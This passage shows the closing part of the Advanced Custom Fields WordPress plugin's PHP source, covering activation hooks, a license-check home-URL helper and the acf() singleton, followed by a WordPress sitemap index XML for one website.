					update_option( &#039;acf_first_activated_version&#039;, ACF_VERSION, true );

					do_action( &#039;acf/first_activated&#039; );
				}
			}

			if ( acf_is_pro() ) {
				do_action( &#039;acf/activated_pro&#039; );
			}
		}
	}

	/**
	 * An ACF specific getter to replace `home_url` in our license checks to ensure we can avoid third party filters.
	 *
	 * @since 6.0.1
	 * @since 6.2.8 - Renamed to acf_pro_get_home_url to match pro exclusive function naming.
	 * @since 6.3.10 - Renamed to acf_get_home_url now updater logic applies to free.
	 *
	 * @return string $home_url The output from home_url, sans known third party filters which cause license activation issues.
	 */
	function acf_get_home_url() {
		if ( acf_is_pro() ) {
			// Disable WPML and TranslatePress&#039;s home url overrides for our license check.
			add_filter( &#039;wpml_get_home_url&#039;, &#039;acf_pro_license_ml_intercept&#039;, 99, 2 );
			add_filter( &#039;trp_home_url&#039;, &#039;acf_pro_license_ml_intercept&#039;, 99, 2 );

			if ( acf_pro_is_legacy_multisite() &amp;&amp; acf_is_multisite_sub_site() ) {
				$home_url = get_home_url( get_main_site_id() );
			} else {
				$home_url = home_url();
			}

			// Re-enable WPML and TranslatePress&#039;s home url overrides.
			remove_filter( &#039;wpml_get_home_url&#039;, &#039;acf_pro_license_ml_intercept&#039;, 99 );
			remove_filter( &#039;trp_home_url&#039;, &#039;acf_pro_license_ml_intercept&#039;, 99 );
		} else {
			$home_url = home_url();
		}

		return $home_url;
	}

	/**
	 * The main function responsible for returning the one true acf Instance to functions everywhere.
	 * Use this function like you would a global variable, except without needing to declare the global.
	 *
	 * Example: &lt;?php $acf = acf(); ?&gt;
	 *
	 * @date    4/09/13
	 * @since   4.3.0
	 *
	 * @return  ACF
	 */
	function acf() {
		global $acf;

		// Instantiate only once.
		if ( ! isset( $acf ) ) {
			$acf = new ACF();
			$acf-&gt;initialize();
		}
		return $acf;
	}

	// Instantiate.
	acf();
} // class_exists check
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://fpcc-ksa.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://fpcc-ksa.com/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://fpcc-ksa.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://fpcc-ksa.com/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
